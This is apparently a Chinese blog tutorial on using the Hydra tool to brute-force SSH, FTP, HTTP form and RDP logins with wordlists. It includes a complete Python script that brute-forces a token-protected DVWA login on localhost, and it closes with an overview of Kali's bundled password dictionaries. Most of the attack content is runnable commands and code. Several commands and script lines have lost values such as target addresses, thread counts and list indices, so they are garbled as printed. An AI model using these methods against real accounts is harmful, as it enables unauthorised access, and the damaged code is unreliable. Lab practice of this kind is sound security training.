天天看點

Hydra暴力破解工具的用法Hydra

目錄

Hydra

常見參數

破解SSH

破解FTP

破解HTTP

破解3389遠端登入

Kali自帶密碼字典

dirb

dirbuster

fern-wifi

metasploit

wfuzz

Hydra

Hydra是一款非常強大的暴力破解工具,它是由著名的黑客組織THC開發的一款開源暴力破解工具。Hydra是一個驗證性質的工具,主要目的是:展示安全研究人員從遠端擷取一個系統認證權限。

目前該工具支援以下協定的爆破:

AFP,Cisco AAA,Cisco身份驗證,Cisco啟用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere, PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚舉,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP。

對于 HTTP,POP3,IMAP和SMTP,支援幾種登入機制,如普通和MD5摘要等。

由于Kali中自帶Hydra,是以怎麼安裝就不講了,下面直接講如何用它。

常見參數

  • -R:繼續從上一次進度接着破解
  • -S:大寫,采用SSL連結
  • -s  <PORT>:小寫,可通過這個參數指定非預設端口
  • -l  <LOGIN>:指定破解的使用者,對特定使用者破解
  • -L  <FILE>:指定使用者名字典
  • -p  <PASS>:小寫,指定密碼破解,少用,一般是采用密碼字典
  • -P  <FILE>:大寫,指定密碼字典
  • -e  <ns>:可選選項,n:空密碼試探,s:使用指定使用者和密碼試探
  • -C  <FILE>:使用冒号分割格式,例如“登入名:密碼”來代替 -L/-P 參數
  • -M  <FILE>:指定目标清單檔案一行一條
  • -o  <FILE>:指定結果輸出檔案
  • -f :在使用-M參數以後,找到第一對登入名或者密碼的時候中止破解
  • -t <TASKS>:同時運作的線程數,預設為16
  • -w <TIME>:設定最大逾時的時間,機關秒,預設是30s
  • -v / -V:顯示詳細過程
  • server:目标ip
  • service:指定服務名,支援的服務和協定:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
  • OPT:可選項

破解SSH

hydra -L user.txt -P passwd.txt -o ssh.txt -vV -t   ssh   #-L指定使用者字典 -P 指定密碼字典  -o把成功的輸出到ssh.txt檔案 -vV顯示詳細資訊           
Hydra暴力破解工具的用法Hydra

破解FTP

hydra -L user.txt -P passwd.txt -o ftp.txt -t  -vV  ftp #-L指定使用者名清單 -P指定密碼字典 -o把爆破的輸出到檔案 -t指定線程 -vV 顯示詳細資訊            
Hydra暴力破解工具的用法Hydra

破解HTTP

我們拿DVWA測試破解HTTP,破解HTTP,需要分析資料包的送出格式

GET方式:

Hydra暴力破解工具的用法Hydra

分析資料包,我們得到下面的指令

  1. hydra - L user.txt - P passwd.txt -o http_get.txt -vV . http- get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect:H=Cookie: PHPSESSID=nvvrgk2f84qhnh43cm28pt42n6; security=low" -t
  2. #前面那些參數就不說了,主要說一下引号裡面的資料 /vulnerabilities/brute/ 代表請求目錄,用:分隔參數,^ USER^和^ PASS^代表是攻擊載荷, F=後面是代表密碼錯誤時的關鍵字元串 , H後面是cookie資訊
Hydra暴力破解工具的用法Hydra

POST方式: 

Hydra暴力破解工具的用法Hydra

分析資料包,得到下面的破解指令

  1. hydra - L user.txt - P passwd.txt -t -o http_post.txt -vV . http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login&user_token=dd6bbcc4f4672afe99f15b1d2c249ea5:S=index.php"
  2. #前面那些參數就不說了,主要說一下引号裡面的資料 /login.php 代表請求目錄,用:分隔參數,^ USER^和^ PASS^代表是攻擊載荷, S等于的是密碼正确時傳回應用的關鍵字元串

但是新版的DVWA采用了token的驗證方式,每次登入的token都是不一樣的,是以不能用hydra來破解。目前,大多數網站登入都采用了token驗證,是以,都不能使用Hydra來破解。

我們可以自己寫一個python腳本來破解。 

  1. # -*- coding: utf-8 -*-
  2. """
  3. Created on Sat Nov 24 20:42:01 2018
  4. @author: 小謝
  5. """
  6. import urllib
  7. import requests
  8. from bs4 import BeautifulSoup
  9. ##第一步,先通路 http://127.0.0.1/login.php頁面,獲得伺服器傳回的cookie和token
  10. def get_cookie_token():
  11. headers={ 'Host': '127.0.0.1',
  12. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
  13. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  14. 'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
  15. 'Connection': 'keep-alive',
  16. 'Upgrade-Insecure-Requests': '1'}
  17. res=requests.get( "http://127.0.0.1/login.php",headers=headers)
  18. cookies=res.cookies
  19. a=[( ';'.join([ '='.join(item) for item in cookies.items()]))] ## a為清單,存儲cookie和token
  20. html=res.text
  21. soup=BeautifulSoup(html, "html.parser")
  22. token=soup.form.contents[ ][ 'value']
  23. a.append(token)
  24. return a
  25. ##第二步模拟登陸
  26. def Login(a,username,password): #a是包含了cookie和token的清單
  27. headers={ 'Host': '127.0.0.1',
  28. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
  29. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  30. 'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
  31. 'Connection': 'keep-alive',
  32. 'Content-Length': '88',
  33. 'Content-Type': 'application/x-www-form-urlencoded',
  34. 'Upgrade-Insecure-Requests': '1',
  35. 'Cookie':a[ ],
  36. 'Referer': 'http://127.0.0.1/login.php'}
  37. values={ 'username':username,
  38. 'password':password,
  39. 'Login': 'Login',
  40. 'user_token':a[ ]
  41. }
  42. data=urllib.parse.urlencode(values)
  43. resp=requests.post( "http://127.0.0.1/login.php",data=data,headers=headers)
  44. return
  45. #重定向到index.php
  46. def main():
  47. with open( "user.txt", 'r') as f:
  48. users=f.readlines()
  49. for user in users:
  50. user=user.strip( "\n") #使用者名
  51. with open( "passwd.txt", 'r') as file:
  52. passwds=file.readlines()
  53. for passwd in passwds:
  54. passwd=passwd.strip( "\n") #密碼
  55. a=get_cookie_token() ##a清單中存儲了伺服器傳回的cookie和toke
  56. Login(a,user,passwd)
  57. headers={ 'Host': '127.0.0.1',
  58. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
  59. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  60. 'Accept-Lanuage': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
  61. 'Connection': 'keep-alive',
  62. 'Upgrade-Insecure-Requests': '1',
  63. 'Cookie':a[ ],
  64. 'Referer': 'http://127.0.0.1/login.php'}
  65. response=requests.get( "http://127.0.0.1/index.php",headers=headers)
  66. if response.headers[ 'Content-Length']== '7524': #如果登入成功
  67. print( "使用者名為:%s ,密碼為:%s"%(user,passwd)) #列印出使用者名和密碼
  68. break
  69. if __name__== '__main__':
  70. main()

腳本運作截圖

Hydra暴力破解工具的用法Hydra

破解3389遠端登入

hydra . rdp -L user.txt -P passwd.txt -V           
Hydra暴力破解工具的用法Hydra

Kali自帶密碼字典

暴力破解能成功最重要的條件還是要有一個強大的密碼字典!Kali預設自帶了一些字典,在 /usr/share/wordlists 目錄下

Hydra暴力破解工具的用法Hydra

dirb

Hydra暴力破解工具的用法Hydra
  1. big.txt #大的字典
  2. small.txt #小的字典
  3. catala.txt #項目配置字典
  4. common.txt #公共字典
  5. euskera.txt #資料目錄字典
  6. extensions_common.txt #常用檔案擴充名字典
  7. indexes.txt #首頁字典
  8. mutations_common.txt #備份擴充名
  9. spanish.txt #方法名或庫目錄
  10. others #擴充目錄,預設使用者名等
  11. stress #壓力測試
  12. vulns #漏洞測試

dirbuster

Hydra暴力破解工具的用法Hydra
  1. apache-user- enum-** #apache使用者枚舉
  2. directories. jbrofuzz #目錄枚舉
  3. directory- list-1.0. txt #目錄清單大,中,小 big, medium, small

fern-wifi

Hydra暴力破解工具的用法Hydra
common.txt #公共wifi賬戶密碼           

metasploit

metasploit下有各種類型的字典

Hydra暴力破解工具的用法Hydra

wfuzz

模糊測試,各種字典

Hydra暴力破解工具的用法Hydra

相關文章:Linux下暴力破解工具Hydra詳解

目錄

繼續閱讀